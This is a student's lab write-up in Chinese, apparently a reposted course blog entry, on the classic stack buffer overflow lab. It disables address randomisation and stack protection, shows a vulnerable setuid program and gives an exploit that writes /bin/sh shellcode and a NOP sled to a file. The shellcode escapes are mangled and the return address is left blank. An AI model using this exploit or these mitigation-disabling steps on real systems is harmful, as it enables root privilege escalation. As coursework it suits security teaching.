zoukankan      html  css  js  c++  java
  • 2018-2019-1 20165312 《信息安全系统设计基础》第三周学习总结

    缓冲区溢出漏洞实验

    一、缓冲区溢出漏洞

    往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,造成程序崩溃或使程序转而执行其它指令。这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段。

    二、实验过程

    1. 实验前的准备——安装32位操作环境

    为了方便观察汇编语句,我们需要在 32 位环境下作操作。

    sudo apt-get update 
    sudo apt-get install -y lib32z1 libc6-dev-i386
    sudo apt-get install -y lib32readline-gplv2-dev
    



    2.初始设置

    一方面,Linux系统中,使用地址空间随机化来随机堆(heap)和栈(stack)的初始地址,这使得猜测准确的内存地址变得十分困难,而猜测内存地址是缓冲区溢出攻击的关键。所以要关闭此功能。

    sudo sysctl -w kernel.randomize_va_space=0
    

    另一方面,许多shell程序在被调用时自动放弃它们的sudo权限,这个防护措施在/bin/bash实现,为了重现这一防护措施被实现之前的情形,我们使用另一个 shell 程序(zsh)代替 /bin/bash。

    $ sudo su
    $ cd /bin
    $ rm sh
    $ ln -s zsh sh
    $ exit
    

    3.进入linux 32 系统并使用bash

    $ linux 32
    $ /bin/bash
    

    4.编写漏洞程序和攻击程序模逆进行攻击

    • 漏洞程序
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    
    int bof(char *str)
    {
        char buffer[12];
        strcpy(buffer, str);
        return 1;
    }
    int main(int argc, char **argv)
    {
        char str[517];
        FILE *badfile;
        badfile = fopen("badfile", "r");
        fread(str, sizeof(char), 517, badfile);
        bof(str);
        printf("Returned Properly
    ");
        return 1;
    }
    

    编译程序

    $ sudo su
    $ gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
    $ chmod u+s stack
    $ exit
    

    GCC编译器有一种栈保护机制来阻止缓冲区溢出,所以我们在编译代码时需要用 –fno-stack-protector 关闭这种机制。 而 -z execstack 用于允许执行栈。

    • gdb反汇编查找shellcode内存地址
    $ gdb stack
    $ disass main
    

    • 攻击程序
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    
    char shellcode[] =
        "x31xc0" //xorl %eax,%eax
        "x50"     //pushl %eax
        "x68""//sh" //pushl $0x68732f2f
        "x68""/bin"     //pushl $0x6e69622f
        "x89xe3" //movl %esp,%ebx
        "x50"     //pushl %eax
        "x53"     //pushl %ebx
        "x89xe1" //movl %esp,%ecx
        "x99"     //cdq
        "xb0x0b" //movb $0x0b,%al
        "xcdx80" //int $0x80
        ;
    
    void main(int argc, char **argv)
    {
        char buffer[517];
        FILE *badfile;
        memset(&buffer, 0x90, 517);
        strcpy(buffer,"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x??x??x??x??");   //在buffer特定偏移处起始的四个字节覆盖sellcode地址  
        strcpy(buffer + 100, shellcode);   //将shellcode拷贝至buffer,偏移量设为了 100
        /* Save the contents to the file "badfile" */
        badfile = fopen("./badfile", "w");
        fwrite(buffer, 517, 1, badfile);
        fclose(badfile);
    }
    

    x??x??x??x?? 处需要添上 shellcode 保存在内存中的地址,因为发生溢出后这个位置刚好可以覆盖返回地址。而 strcpy(buffer+100,shellcode); 这一句又告诉我们,shellcode 保存在 buffer + 100 的位置。

    • 进行攻击
    ./exploit
    ./stack
    

  • 相关阅读:
    团队作业4_项目冲刺
    Scrum冲刺_Day07
    Scrum冲刺_Day06
    Srcum冲刺_Day05
    Day1-7【Scrum 冲刺博客集合】
    团队作业6——事后诸葛亮分析
    团队作业6——Alpha阶段项目复审
    团队作业5——测试与发布(Alpha版本)
    Day7 【Scrum 冲刺博客】
    Day6【Scrum 冲刺博客】
  • 原文地址:https://www.cnblogs.com/cxgg/p/9788498.html
Copyright © 2011-2022 走看看